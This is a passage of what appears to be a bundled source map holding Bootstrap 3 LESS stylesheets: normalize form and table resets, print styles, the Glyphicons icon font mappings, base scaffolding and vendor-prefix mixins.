==========================================================================\n\n//\n// Known limitation: by default, Chrome and Safari on OS X allow very limited\n// styling of `select`, unless a `border` property is set.\n//\n\n//\n// 1. Correct color not being inherited.\n// Known issue: affects color of disabled elements.\n// 2. Correct font properties not being inherited.\n// 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n//\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n color: inherit; // 1\n font: inherit; // 2\n margin: 0; // 3\n}\n\n//\n// Address `overflow` set to `hidden` in IE 8/9/10/11.\n//\n\nbutton {\n overflow: visible;\n}\n\n//\n// Address inconsistent `text-transform` inheritance for `button` and `select`.\n// All other form control elements do not inherit `text-transform` values.\n// Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n// Correct `select` style inheritance in Firefox.\n//\n\nbutton,\nselect {\n text-transform: none;\n}\n\n//\n// 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n// and `video` controls.\n// 2. Correct inability to style clickable `input` types in iOS.\n// 3. Improve usability and consistency of cursor style between image-type\n// `input` and others.\n//\n\nbutton,\nhtml input[type=\"button\"], // 1\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button; // 2\n cursor: pointer; // 3\n}\n\n//\n// Re-set default cursor for disabled elements.\n//\n\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\n\n//\n// Remove inner padding and border in Firefox 4+.\n//\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\n\n//\n// Address Firefox 4+ setting `line-height` on `input` using `!important` in\n// the UA stylesheet.\n//\n\ninput {\n line-height: normal;\n}\n\n//\n// It's recommended that you don't attempt to style these elements.\n// Firefox's implementation doesn't respect box-sizing, padding, or width.\n//\n// 1. Address box sizing set to `content-box` in IE 8/9/10.\n// 2. Remove excess padding in IE 8/9/10.\n//\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box; // 1\n padding: 0; // 2\n}\n\n//\n// Fix the cursor style for Chrome's increment/decrement buttons. For certain\n// `font-size` values of the `input`, it causes the cursor style of the\n// decrement button to change from `default` to `text`.\n//\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n//\n// 1. Address `appearance` set to `searchfield` in Safari and Chrome.\n// 2. Address `box-sizing` set to `border-box` in Safari and Chrome.\n//\n\ninput[type=\"search\"] {\n -webkit-appearance: textfield; // 1\n box-sizing: content-box; //2\n}\n\n//\n// Remove inner padding and search cancel button in Safari and Chrome on OS X.\n// Safari (but not Chrome) clips the cancel button when the search input has\n// padding (and `textfield` appearance).\n//\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// Define consistent border, margin, and padding.\n//\n\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\n\n//\n// 1. Correct `color` not being inherited in IE 8/9/10/11.\n// 2. Remove padding so people aren't caught out if they zero out fieldsets.\n//\n\nlegend {\n border: 0; // 1\n padding: 0; // 2\n}\n\n//\n// Remove default vertical scrollbar in IE 8/9/10/11.\n//\n\ntextarea {\n overflow: auto;\n}\n\n//\n// Don't inherit the `font-weight` (applied by a rule above).\n// NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n//\n\noptgroup {\n font-weight: bold;\n}\n\n// Tables\n// ==========================================================================\n\n//\n// Remove most spacing between table cells.\n//\n\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\n\ntd,\nth {\n padding: 0;\n}\n","/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request: h5bp.com/r\n// ==========================================================================\n\n@media print {\n *,\n *:before,\n *:after {\n background: transparent !important;\n color: #000 !important; // Black prints faster: h5bp.com/s\n box-shadow: none !important;\n text-shadow: none !important;\n }\n\n a,\n a:visited {\n text-decoration: underline;\n }\n\n a[href]:after {\n content: \" (\" attr(href) \")\";\n }\n\n abbr[title]:after {\n content: \" (\" attr(title) \")\";\n }\n\n // Don't show links that are fragment identifiers,\n // or use the `javascript:` pseudo protocol\n a[href^=\"#\"]:after,\n a[href^=\"javascript:\"]:after {\n content: \"\";\n }\n\n pre,\n blockquote {\n border: 1px solid #999;\n page-break-inside: avoid;\n }\n\n thead {\n display: table-header-group; // h5bp.com/t\n }\n\n tr,\n img {\n page-break-inside: avoid;\n }\n\n img {\n max-width: 100% !important;\n }\n\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n\n h2,\n h3 {\n page-break-after: avoid;\n }\n\n // Bootstrap specific changes start\n\n // Bootstrap components\n .navbar {\n display: none;\n }\n .btn,\n .dropup > .btn {\n > .caret {\n border-top-color: #000 !important;\n }\n }\n .label {\n border: 1px solid #000;\n }\n\n .table {\n border-collapse: collapse !important;\n\n td,\n th {\n background-color: #fff !important;\n }\n }\n .table-bordered {\n th,\n td {\n border: 1px solid #ddd !important;\n }\n }\n\n // Bootstrap specific changes end\n}\n","//\n// Glyphicons for Bootstrap\n//\n// Since icons are fonts, they can be placed anywhere text is placed and are\n// thus automatically sized to match the surrounding child. To use, create an\n// inline element with the appropriate classes, like so:\n//\n// Star \n\n// Import the fonts\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('@{icon-font-path}@{icon-font-name}.eot');\n src: url('@{icon-font-path}@{icon-font-name}.eot?#iefix') format('embedded-opentype'),\n url('@{icon-font-path}@{icon-font-name}.woff2') format('woff2'),\n url('@{icon-font-path}@{icon-font-name}.woff') format('woff'),\n url('@{icon-font-path}@{icon-font-name}.ttf') format('truetype'),\n url('@{icon-font-path}@{icon-font-name}.svg#@{icon-font-svg-id}') format('svg');\n}\n\n// Catchall baseclass\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n\n// Individual icons\n.glyphicon-asterisk { &:before { content: \"\\2a\"; } }\n.glyphicon-plus { &:before { content: \"\\2b\"; } }\n.glyphicon-euro,\n.glyphicon-eur { &:before { content: \"\\20ac\"; } }\n.glyphicon-minus { &:before { content: \"\\2212\"; } }\n.glyphicon-cloud { &:before { content: \"\\2601\"; } }\n.glyphicon-envelope { &:before { content: \"\\2709\"; } }\n.glyphicon-pencil { &:before { content: \"\\270f\"; } }\n.glyphicon-glass { &:before { content: \"\\e001\"; } }\n.glyphicon-music { &:before { content: \"\\e002\"; } }\n.glyphicon-search { &:before { content: \"\\e003\"; } }\n.glyphicon-heart { &:before { content: \"\\e005\"; } }\n.glyphicon-star { &:before { content: \"\\e006\"; } }\n.glyphicon-star-empty { &:before { content: \"\\e007\"; } }\n.glyphicon-user { &:before { content: \"\\e008\"; } }\n.glyphicon-film { &:before { content: \"\\e009\"; } }\n.glyphicon-th-large { &:before { content: \"\\e010\"; } }\n.glyphicon-th { &:before { content: \"\\e011\"; } }\n.glyphicon-th-list { &:before { content: \"\\e012\"; } }\n.glyphicon-ok { &:before { content: \"\\e013\"; } }\n.glyphicon-remove { &:before { content: \"\\e014\"; } }\n.glyphicon-zoom-in { &:before { content: \"\\e015\"; } }\n.glyphicon-zoom-out { &:before { content: \"\\e016\"; } }\n.glyphicon-off { &:before { content: \"\\e017\"; } }\n.glyphicon-signal { &:before { content: \"\\e018\"; } }\n.glyphicon-cog { &:before { content: \"\\e019\"; } }\n.glyphicon-trash { &:before { content: \"\\e020\"; } }\n.glyphicon-home { &:before { content: \"\\e021\"; } }\n.glyphicon-file { &:before { content: \"\\e022\"; } }\n.glyphicon-time { &:before { content: \"\\e023\"; } }\n.glyphicon-road { &:before { content: \"\\e024\"; } }\n.glyphicon-download-alt { &:before { content: \"\\e025\"; } }\n.glyphicon-download { &:before { content: \"\\e026\"; } }\n.glyphicon-upload { &:before { content: \"\\e027\"; } }\n.glyphicon-inbox { &:before { content: \"\\e028\"; } }\n.glyphicon-play-circle { &:before { content: \"\\e029\"; } }\n.glyphicon-repeat { &:before { content: \"\\e030\"; } }\n.glyphicon-refresh { &:before { content: \"\\e031\"; } }\n.glyphicon-list-alt { &:before { content: \"\\e032\"; } }\n.glyphicon-lock { &:before { content: \"\\e033\"; } }\n.glyphicon-flag { &:before { content: \"\\e034\"; } }\n.glyphicon-headphones { &:before { content: \"\\e035\"; } }\n.glyphicon-volume-off { &:before { content: \"\\e036\"; } }\n.glyphicon-volume-down { &:before { content: \"\\e037\"; } }\n.glyphicon-volume-up { &:before { content: \"\\e038\"; } }\n.glyphicon-qrcode { &:before { content: \"\\e039\"; } }\n.glyphicon-barcode { &:before { content: \"\\e040\"; } }\n.glyphicon-tag { &:before { content: \"\\e041\"; } }\n.glyphicon-tags { &:before { content: \"\\e042\"; } }\n.glyphicon-book { &:before { content: \"\\e043\"; } }\n.glyphicon-bookmark { &:before { content: \"\\e044\"; } }\n.glyphicon-print { &:before { content: \"\\e045\"; } }\n.glyphicon-camera { &:before { content: \"\\e046\"; } }\n.glyphicon-font { &:before { content: \"\\e047\"; } }\n.glyphicon-bold { &:before { content: \"\\e048\"; } }\n.glyphicon-italic { &:before { content: \"\\e049\"; } }\n.glyphicon-text-height { &:before { content: \"\\e050\"; } }\n.glyphicon-text-width { &:before { content: \"\\e051\"; } }\n.glyphicon-align-left { &:before { content: \"\\e052\"; } }\n.glyphicon-align-center { &:before { content: \"\\e053\"; } }\n.glyphicon-align-right { &:before { content: \"\\e054\"; } }\n.glyphicon-align-justify { &:before { content: \"\\e055\"; } }\n.glyphicon-list { &:before { content: \"\\e056\"; } }\n.glyphicon-indent-left { &:before { content: \"\\e057\"; } }\n.glyphicon-indent-right { &:before { content: \"\\e058\"; } }\n.glyphicon-facetime-video { &:before { content: \"\\e059\"; } }\n.glyphicon-picture { &:before { content: \"\\e060\"; } }\n.glyphicon-map-marker { &:before { content: \"\\e062\"; } }\n.glyphicon-adjust { &:before { content: \"\\e063\"; } }\n.glyphicon-tint { &:before { content: \"\\e064\"; } }\n.glyphicon-edit { &:before { content: \"\\e065\"; } }\n.glyphicon-share { &:before { content: \"\\e066\"; } }\n.glyphicon-check { &:before { content: \"\\e067\"; } }\n.glyphicon-move { &:before { content: \"\\e068\"; } }\n.glyphicon-step-backward { &:before { content: \"\\e069\"; } }\n.glyphicon-fast-backward { &:before { content: \"\\e070\"; } }\n.glyphicon-backward { &:before { content: \"\\e071\"; } }\n.glyphicon-play { &:before { content: \"\\e072\"; } }\n.glyphicon-pause { &:before { content: \"\\e073\"; } }\n.glyphicon-stop { &:before { content: \"\\e074\"; } }\n.glyphicon-forward { &:before { content: \"\\e075\"; } }\n.glyphicon-fast-forward { &:before { content: \"\\e076\"; } }\n.glyphicon-step-forward { &:before { content: \"\\e077\"; } }\n.glyphicon-eject { &:before { content: \"\\e078\"; } }\n.glyphicon-chevron-left { &:before { content: \"\\e079\"; } }\n.glyphicon-chevron-right { &:before { content: \"\\e080\"; } }\n.glyphicon-plus-sign { &:before { content: \"\\e081\"; } }\n.glyphicon-minus-sign { &:before { content: \"\\e082\"; } }\n.glyphicon-remove-sign { &:before { content: \"\\e083\"; } }\n.glyphicon-ok-sign { &:before { content: \"\\e084\"; } }\n.glyphicon-question-sign { &:before { content: \"\\e085\"; } }\n.glyphicon-info-sign { &:before { content: \"\\e086\"; } }\n.glyphicon-screenshot { &:before { content: \"\\e087\"; } }\n.glyphicon-remove-circle { &:before { content: \"\\e088\"; } }\n.glyphicon-ok-circle { &:before { content: \"\\e089\"; } }\n.glyphicon-ban-circle { &:before { content: \"\\e090\"; } }\n.glyphicon-arrow-left { &:before { content: \"\\e091\"; } }\n.glyphicon-arrow-right { &:before { content: \"\\e092\"; } }\n.glyphicon-arrow-up { &:before { content: \"\\e093\"; } }\n.glyphicon-arrow-down { &:before { content: \"\\e094\"; } }\n.glyphicon-share-alt { &:before { content: \"\\e095\"; } }\n.glyphicon-resize-full { &:before { content: \"\\e096\"; } }\n.glyphicon-resize-small { &:before { content: \"\\e097\"; } }\n.glyphicon-exclamation-sign { &:before { content: \"\\e101\"; } }\n.glyphicon-gift { &:before { content: \"\\e102\"; } }\n.glyphicon-leaf { &:before { content: \"\\e103\"; } }\n.glyphicon-fire { &:before { content: \"\\e104\"; } }\n.glyphicon-eye-open { &:before { content: \"\\e105\"; } }\n.glyphicon-eye-close { &:before { content: \"\\e106\"; } }\n.glyphicon-warning-sign { &:before { content: \"\\e107\"; } }\n.glyphicon-plane { &:before { content: \"\\e108\"; } }\n.glyphicon-calendar { &:before { content: \"\\e109\"; } }\n.glyphicon-random { &:before { content: \"\\e110\"; } }\n.glyphicon-comment { &:before { content: \"\\e111\"; } }\n.glyphicon-magnet { &:before { content: \"\\e112\"; } }\n.glyphicon-chevron-up { &:before { content: \"\\e113\"; } }\n.glyphicon-chevron-down { &:before { content: \"\\e114\"; } }\n.glyphicon-retweet { &:before { content: \"\\e115\"; } }\n.glyphicon-shopping-cart { &:before { content: \"\\e116\"; } }\n.glyphicon-folder-close { &:before { content: \"\\e117\"; } }\n.glyphicon-folder-open { &:before { content: \"\\e118\"; } }\n.glyphicon-resize-vertical { &:before { content: \"\\e119\"; } }\n.glyphicon-resize-horizontal { &:before { content: \"\\e120\"; } }\n.glyphicon-hdd { &:before { content: \"\\e121\"; } }\n.glyphicon-bullhorn { &:before { content: \"\\e122\"; } }\n.glyphicon-bell { &:before { content: \"\\e123\"; } }\n.glyphicon-certificate { &:before { content: \"\\e124\"; } }\n.glyphicon-thumbs-up { &:before { content: \"\\e125\"; } }\n.glyphicon-thumbs-down { &:before { content: \"\\e126\"; } }\n.glyphicon-hand-right { &:before { content: \"\\e127\"; } }\n.glyphicon-hand-left { &:before { content: \"\\e128\"; } }\n.glyphicon-hand-up { &:before { content: \"\\e129\"; } }\n.glyphicon-hand-down { &:before { content: \"\\e130\"; } }\n.glyphicon-circle-arrow-right { &:before { content: \"\\e131\"; } }\n.glyphicon-circle-arrow-left { &:before { content: \"\\e132\"; } }\n.glyphicon-circle-arrow-up { &:before { content: \"\\e133\"; } }\n.glyphicon-circle-arrow-down { &:before { content: \"\\e134\"; } }\n.glyphicon-globe { &:before { content: \"\\e135\"; } }\n.glyphicon-wrench { &:before { content: \"\\e136\"; } }\n.glyphicon-tasks { &:before { content: \"\\e137\"; } }\n.glyphicon-filter { &:before { content: \"\\e138\"; } }\n.glyphicon-briefcase { &:before { content: \"\\e139\"; } }\n.glyphicon-fullscreen { &:before { content: \"\\e140\"; } }\n.glyphicon-dashboard { &:before { content: \"\\e141\"; } }\n.glyphicon-paperclip { &:before { content: \"\\e142\"; } }\n.glyphicon-heart-empty { &:before { content: \"\\e143\"; } }\n.glyphicon-link { &:before { content: \"\\e144\"; } }\n.glyphicon-phone { &:before { content: \"\\e145\"; } }\n.glyphicon-pushpin { &:before { content: \"\\e146\"; } }\n.glyphicon-usd { &:before { content: \"\\e148\"; } }\n.glyphicon-gbp { &:before { content: \"\\e149\"; } }\n.glyphicon-sort { &:before { content: \"\\e150\"; } }\n.glyphicon-sort-by-alphabet { &:before { content: \"\\e151\"; } }\n.glyphicon-sort-by-alphabet-alt { &:before { content: \"\\e152\"; } }\n.glyphicon-sort-by-order { &:before { content: \"\\e153\"; } }\n.glyphicon-sort-by-order-alt { &:before { content: \"\\e154\"; } }\n.glyphicon-sort-by-attributes { &:before { content: \"\\e155\"; } }\n.glyphicon-sort-by-attributes-alt { &:before { content: \"\\e156\"; } }\n.glyphicon-unchecked { &:before { content: \"\\e157\"; } }\n.glyphicon-expand { &:before { content: \"\\e158\"; } }\n.glyphicon-collapse-down { &:before { content: \"\\e159\"; } }\n.glyphicon-collapse-up { &:before { content: \"\\e160\"; } }\n.glyphicon-log-in { &:before { content: \"\\e161\"; } }\n.glyphicon-flash { &:before { content: \"\\e162\"; } }\n.glyphicon-log-out { &:before { content: \"\\e163\"; } }\n.glyphicon-new-window { &:before { content: \"\\e164\"; } }\n.glyphicon-record { &:before { content: \"\\e165\"; } }\n.glyphicon-save { &:before { content: \"\\e166\"; } }\n.glyphicon-open { &:before { content: \"\\e167\"; } }\n.glyphicon-saved { &:before { content: \"\\e168\"; } }\n.glyphicon-import { &:before { content: \"\\e169\"; } }\n.glyphicon-export { &:before { content: \"\\e170\"; } }\n.glyphicon-send { &:before { content: \"\\e171\"; } }\n.glyphicon-floppy-disk { &:before { content: \"\\e172\"; } }\n.glyphicon-floppy-saved { &:before { content: \"\\e173\"; } }\n.glyphicon-floppy-remove { &:before { content: \"\\e174\"; } }\n.glyphicon-floppy-save { &:before { content: \"\\e175\"; } }\n.glyphicon-floppy-open { &:before { content: \"\\e176\"; } }\n.glyphicon-credit-card { &:before { content: \"\\e177\"; } }\n.glyphicon-transfer { &:before { content: \"\\e178\"; } }\n.glyphicon-cutlery { &:before { content: \"\\e179\"; } }\n.glyphicon-header { &:before { content: \"\\e180\"; } }\n.glyphicon-compressed { &:before { content: \"\\e181\"; } }\n.glyphicon-earphone { &:before { content: \"\\e182\"; } }\n.glyphicon-phone-alt { &:before { content: \"\\e183\"; } }\n.glyphicon-tower { &:before { content: \"\\e184\"; } }\n.glyphicon-stats { &:before { content: \"\\e185\"; } }\n.glyphicon-sd-video { &:before { content: \"\\e186\"; } }\n.glyphicon-hd-video { &:before { content: \"\\e187\"; } }\n.glyphicon-subtitles { &:before { content: \"\\e188\"; } }\n.glyphicon-sound-stereo { &:before { content: \"\\e189\"; } }\n.glyphicon-sound-dolby { &:before { content: \"\\e190\"; } }\n.glyphicon-sound-5-1 { &:before { content: \"\\e191\"; } }\n.glyphicon-sound-6-1 { &:before { content: \"\\e192\"; } }\n.glyphicon-sound-7-1 { &:before { content: \"\\e193\"; } }\n.glyphicon-copyright-mark { &:before { content: \"\\e194\"; } }\n.glyphicon-registration-mark { &:before { content: \"\\e195\"; } }\n.glyphicon-cloud-download { &:before { content: \"\\e197\"; } }\n.glyphicon-cloud-upload { &:before { content: \"\\e198\"; } }\n.glyphicon-tree-conifer { &:before { content: \"\\e199\"; } }\n.glyphicon-tree-deciduous { &:before { content: \"\\e200\"; } }\n.glyphicon-cd { &:before { content: \"\\e201\"; } }\n.glyphicon-save-file { &:before { content: \"\\e202\"; } }\n.glyphicon-open-file { &:before { content: \"\\e203\"; } }\n.glyphicon-level-up { &:before { content: \"\\e204\"; } }\n.glyphicon-copy { &:before { content: \"\\e205\"; } }\n.glyphicon-paste { &:before { content: \"\\e206\"; } }\n// The following 2 Glyphicons are omitted for the time being because\n// they currently use Unicode codepoints that are outside the\n// Basic Multilingual Plane (BMP). Older buggy versions of WebKit can't handle\n// non-BMP codepoints in CSS string escapes, and thus can't display these two icons.\n// Notably, the bug affects some older versions of the Android Browser.\n// More info: https://github.com/twbs/bootstrap/issues/10106\n// .glyphicon-door { &:before { content: \"\\1f6aa\"; } }\n// .glyphicon-key { &:before { content: \"\\1f511\"; } }\n.glyphicon-alert { &:before { content: \"\\e209\"; } }\n.glyphicon-equalizer { &:before { content: \"\\e210\"; } }\n.glyphicon-king { &:before { content: \"\\e211\"; } }\n.glyphicon-queen { &:before { content: \"\\e212\"; } }\n.glyphicon-pawn { &:before { content: \"\\e213\"; } }\n.glyphicon-bishop { &:before { content: \"\\e214\"; } }\n.glyphicon-knight { &:before { content: \"\\e215\"; } }\n.glyphicon-baby-formula { &:before { content: \"\\e216\"; } }\n.glyphicon-tent { &:before { content: \"\\26fa\"; } }\n.glyphicon-blackboard { &:before { content: \"\\e218\"; } }\n.glyphicon-bed { &:before { content: \"\\e219\"; } }\n.glyphicon-apple { &:before { content: \"\\f8ff\"; } }\n.glyphicon-erase { &:before { content: \"\\e221\"; } }\n.glyphicon-hourglass { &:before { content: \"\\231b\"; } }\n.glyphicon-lamp { &:before { content: \"\\e223\"; } }\n.glyphicon-duplicate { &:before { content: \"\\e224\"; } }\n.glyphicon-piggy-bank { &:before { content: \"\\e225\"; } }\n.glyphicon-scissors { &:before { content: \"\\e226\"; } }\n.glyphicon-bitcoin { &:before { content: \"\\e227\"; } }\n.glyphicon-btc { &:before { content: \"\\e227\"; } }\n.glyphicon-xbt { &:before { content: \"\\e227\"; } }\n.glyphicon-yen { &:before { content: \"\\00a5\"; } }\n.glyphicon-jpy { &:before { content: \"\\00a5\"; } }\n.glyphicon-ruble { &:before { content: \"\\20bd\"; } }\n.glyphicon-rub { &:before { content: \"\\20bd\"; } }\n.glyphicon-scale { &:before { content: \"\\e230\"; } }\n.glyphicon-ice-lolly { &:before { content: \"\\e231\"; } }\n.glyphicon-ice-lolly-tasted { &:before { content: \"\\e232\"; } }\n.glyphicon-education { &:before { content: \"\\e233\"; } }\n.glyphicon-option-horizontal { &:before { content: \"\\e234\"; } }\n.glyphicon-option-vertical { &:before { content: \"\\e235\"; } }\n.glyphicon-menu-hamburger { &:before { content: \"\\e236\"; } }\n.glyphicon-modal-window { &:before { content: \"\\e237\"; } }\n.glyphicon-oil { &:before { content: \"\\e238\"; } }\n.glyphicon-grain { &:before { content: \"\\e239\"; } }\n.glyphicon-sunglasses { &:before { content: \"\\e240\"; } }\n.glyphicon-text-size { &:before { content: \"\\e241\"; } }\n.glyphicon-text-color { &:before { content: \"\\e242\"; } }\n.glyphicon-text-background { &:before { content: \"\\e243\"; } }\n.glyphicon-object-align-top { &:before { content: \"\\e244\"; } }\n.glyphicon-object-align-bottom { &:before { content: \"\\e245\"; } }\n.glyphicon-object-align-horizontal{ &:before { content: \"\\e246\"; } }\n.glyphicon-object-align-left { &:before { content: \"\\e247\"; } }\n.glyphicon-object-align-vertical { &:before { content: \"\\e248\"; } }\n.glyphicon-object-align-right { &:before { content: \"\\e249\"; } }\n.glyphicon-triangle-right { &:before { content: \"\\e250\"; } }\n.glyphicon-triangle-left { &:before { content: \"\\e251\"; } }\n.glyphicon-triangle-bottom { &:before { content: \"\\e252\"; } }\n.glyphicon-triangle-top { &:before { content: \"\\e253\"; } }\n.glyphicon-console { &:before { content: \"\\e254\"; } }\n.glyphicon-superscript { &:before { content: \"\\e255\"; } }\n.glyphicon-subscript { &:before { content: \"\\e256\"; } }\n.glyphicon-menu-left { &:before { content: \"\\e257\"; } }\n.glyphicon-menu-right { &:before { content: \"\\e258\"; } }\n.glyphicon-menu-down { &:before { content: \"\\e259\"; } }\n.glyphicon-menu-up { &:before { content: \"\\e260\"; } }\n","//\n// Scaffolding\n// --------------------------------------------------\n\n\n// Reset the box-sizing\n//\n// Heads up! This reset may cause conflicts with some third-party widgets.\n// For recommendations on resolving such conflicts, see\n// http://getbootstrap.com/getting-started/#third-box-sizing\n* {\n .box-sizing(border-box);\n}\n*:before,\n*:after {\n .box-sizing(border-box);\n}\n\n\n// Body reset\n\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0,0,0,0);\n}\n\nbody {\n font-family: @font-family-base;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @text-color;\n background-color: @body-bg;\n}\n\n// Reset fonts for relevant elements\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\n\n// Links\n\na {\n color: @link-color;\n text-decoration: none;\n\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n }\n\n &:focus {\n .tab-focus();\n }\n}\n\n\n// Figures\n//\n// We reset this here because previously Normalize had no `figure` margins. This\n// ensures we don't break anyone's use of the element.\n\nfigure {\n margin: 0;\n}\n\n\n// Images\n\nimg {\n vertical-align: middle;\n}\n\n// Responsive images (ensure images don't scale beyond their parents)\n.img-responsive {\n .img-responsive();\n}\n\n// Rounded corners\n.img-rounded {\n border-radius: @border-radius-large;\n}\n\n// Image thumbnails\n//\n// Heads up! This is mixin-ed into thumbnails.less for `.thumbnail`.\n.img-thumbnail {\n padding: @thumbnail-padding;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(all .2s ease-in-out);\n\n // Keep them at most 100% wide\n .img-responsive(inline-block);\n}\n\n// Perfect circle\n.img-circle {\n border-radius: 50%; // set radius in percents\n}\n\n\n// Horizontal rules\n\nhr {\n margin-top: @line-height-computed;\n margin-bottom: @line-height-computed;\n border: 0;\n border-top: 1px solid @hr-border;\n}\n\n\n// Only display content to screen readers\n//\n// See: http://a11yproject.com/posts/how-to-hide-content/\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0,0,0,0);\n border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n// Useful for \"Skip to main content\" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n// Credit: HTML5 Boilerplate\n\n.sr-only-focusable {\n &:active,\n &:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n }\n}\n\n\n// iOS \"clickable elements\" fix for role=\"button\"\n//\n// Fixes \"clickability\" issue (and more generally, the firing of events such as focus as well)\n// for traditionally non-focusable elements with role=\"button\"\n// see https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n[role=\"button\"] {\n cursor: pointer;\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They will be removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility){\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) 